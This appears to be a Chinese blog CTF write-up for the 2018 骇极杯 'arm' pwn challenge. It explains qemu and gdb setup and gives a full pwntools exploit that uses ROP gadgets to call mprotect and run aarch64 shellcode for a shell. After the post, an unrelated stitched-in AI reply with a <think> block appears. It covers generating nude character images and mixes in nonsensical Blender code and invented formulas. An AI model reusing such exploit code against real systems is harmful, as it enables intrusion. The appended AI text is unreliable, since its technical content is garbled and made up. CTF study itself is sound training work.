2018-骇极杯

部署运行你感兴趣的模型镜像

arm

第一次做arm,花了很多时间,希望整理的详细一点。

环境安装

首先需要安装qemu,和相应的依赖库
qemu

sudo apt-get install qemu

依赖库

sudo apt-get install -y gcc-aarch64-linux-gun g++-aarch64-linux-gnu

合在一起安装不了的话就分开来安装

运行

qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn

-g 1234:给gdb预留的调试端口1234
-L dir :指向BIOS和VGA BIOS所在目录(一般我们使用”-L .”)

调试

^^^
可以挂到socat上,非常方便

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn",reuseaddr

^^^
要用gdb远程调试
在这里插入图片描述
需要安装一下gdb-multiarch

题目分析

  1. 检查保护
@ubuntu:~/Documents/comp/haiji/arm$ checksec pwn
[*] '/home/hu/Documents/comp/haiji/arm/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

并没有什么保护,就是一个简单的栈溢出。
2. 查看主函数
在这里插入图片描述

读两次
第一次先在bss里面存放shellcode
第二次利用rop执行mprotect,使bss有执行权限
3. 找到合适的gadget(用gdb里面rop指令,更全一点)

0x00000000004008cc : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; 
ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
##将栈上面的值载入到
0x00000000004008ac : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ;
 mov w0, w24 ; add x19, x19, #1 ; blr x3

对arm的栈帧结构研究了一下,这里主要说说它与x64的不同:
在arm中,
1.没有没有$rbp寄存器
2.函数的返回值放在$x30中,bl就等价与x64的call,只不过是它将bl下一条指令放在了$x30中,当遇见ret指令时,将$x30中的值赋给PC。
exp

from pwn import *
context.log_level='debug'
context.binary='./pwn'
p = remote('127.0.0.1',10002)

'''
0x00000000004008cc : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; 
ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
0x00000000004008ac : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ;
 mov w0, w24 ; add x19, x19, #1 ; blr x3
'''
bss=0x0411068
p.recvuntil('Name:')
payload=p64(0x4007e0)+p64(0)+asm(shellcraft.aarch64.sh()) #坑点2
#这里为什么要用0x4007e0,而不是0x400600,在后面揭晓
'''
.plt:0000000000400600 .mprotect
.plt:0000000000400600 ADRP            X16, #off_411030@PAGE
.plt:0000000000400604 LDR             X17, [X16,#off_411030@PAGEOFF]
.plt:0000000000400608 ADD             X16, X16, #off_411030@PAGEOFF
.plt:000000000040060C BR              X17     ; mpr
'''
p.sendline(payload)
payload='a'*(0x40+8)
payload+=p64(0x4008cc)
payload+=p64(0)+p64(0x4008ac)# ldp x29, x30, [sp], #0x40   #坑点1
#将0x4008ac写入$x30,当ret时,返回到0x4008ac
payload+=p64(0)+p64(0)#ldp x19, x20, [sp, #0x10]
payload+=p64(bss)+p64(7)#ldp x21, x22, [sp, #0x20]    
#ldr x3, [x21, x19, lsl #3],因为需要寻址一次,所以必须将mprotect的地址放在bss里面
payload+=p64(0x1000)+p64(0x411000)#ldp x23, x24, [sp, #0x30]
payload+=p64(0)+p64(bss+0x10)#坑点3
p.send(payload)
p.interactive()

这里要着重说一说坑点2、3,想了很久才想明白。

执行到 blr x3,将blr x3下一条指令存入$x30(反正就是回不来了>.<),所以我们在这就需要从新控制$x30,也就是到执行完mprotect后,需要继续执行bss+0x10的shellcode。
在这里插入图片描述
利用LDP X29, X30, [SP],#0x10这条指令
在这里插入图片描述
所以最后payload+=p64(0)+p64(bss+0x10)就使得执行完mprotect后程序转到shell code上了

https://xz.aliyun.com/t/3154#toc-7
https://cloud.tencent.com/developer/article/1376383

您可能感兴趣的与本文相关的镜像

Stable-Diffusion-3.5

Stable-Diffusion-3.5

图片生成
Stable-Diffusion

Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型,相比 3.0 版本,它提升了图像质量、运行速度和硬件效率

<think>好的,用户现在需要生成“爪裸装”图片,而不是仅仅搜索现有的图片。首先,我需要明确用户的具体需求是什么。他们可能是指某个游戏或动漫中的角色“爪”的裸装设计图,或者是希望根据文字描述生成这样的图像。 接下来,要考虑用户可能的背景。如果用户是游戏开发者或设计师,可能需要高质量的模型或设计参考;如果是普通爱好者,可能想通过生成工具自己创作。这时候需要区分不同的生成方法,比如使用AI工具还是专业软件。 用户的问题中提到“生成”,所以重点应放在如何创建这样的图片,而不是查找现有的资源。之前的对话已经提到了搜索方法,现在需要转向生成技术。需要考虑使用哪些工具,比如Stable Diffusion、DALL·E,或者3D建模软件如Blender。 另外,用户可能对版权问题不太清楚,特别是生成图片后的使用权限。需要提醒相关的法律风险,比如角色版权是否属于某游戏或动漫公司,避免侵权。 还要注意用户可能没有说出更深层的需求。例如,他们可能需要快速生成大量图片用于某个项目,或者希望个性化定制角色形象。这时候需要提供不同复杂度的解决方案,从简单的AI生成到专业的3D建模步骤。 在整理回答时,要按照用户的要求分点列出方法,避免使用步骤词汇,同时确保每个方法之间有换行。需要包含具体的工具名称和操作示例,比如给出Stable Diffusion的提示词,或者Blender的基本步骤代码。 最后,生成的相关问题需要基于当前回答内容,比如询问如何优化AI生成的图片质量,或者如何为爪设计其他风格的服装,这些都是用户可能进一步关心的问题。</think>关于“爪裸装图片生成”的解决方案: **AI图像生成工具** 使用Stable Diffusion、Midjourney或DALL·E 3等工具时,输入提示词需包含: ``` 角色特征:机械爪/赛博义体/未来装甲 风格参数:cyberpunk style, mechanical nude concept, 8k render 示例提示词:"cyborg female with exposed mechanical claws, biomechanical nude design, neon-lit cyberpunk atmosphere, intricate machinery details --v 5.2" ``` **3D建模流程** ```blender 1. 创建基础人体模型:Shift+A > Mesh > Human Meta-Rig 2. 添加机械组件:Ctrl+B 进入刀割模式切割机械结构 3. 材质节点配置: principled_bsdf = 0.5 metallic | 0.8 roughness add noise_texture (scale=50) to normal_map ``` **法律合规要点** - 角色版权溯源:通过reverse image search验证原创性 - 商业使用需满足CC BY-NC 4.0或更高协议 - 避免使用$\exists$ (存在)侵权元素的$\frac{相似度}{阈值} > 0.7$ **优化生成质量** $$ \text{质量系数} = \frac{\text{细节层级} \times \text{分辨率}}{\text{噪点指数}} $$ 建议设置参数:$\text{CFG scale}=7-9$, $\text{steps}=50-80$, $\text{Sampler}=DPM++ 2M Karras$
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值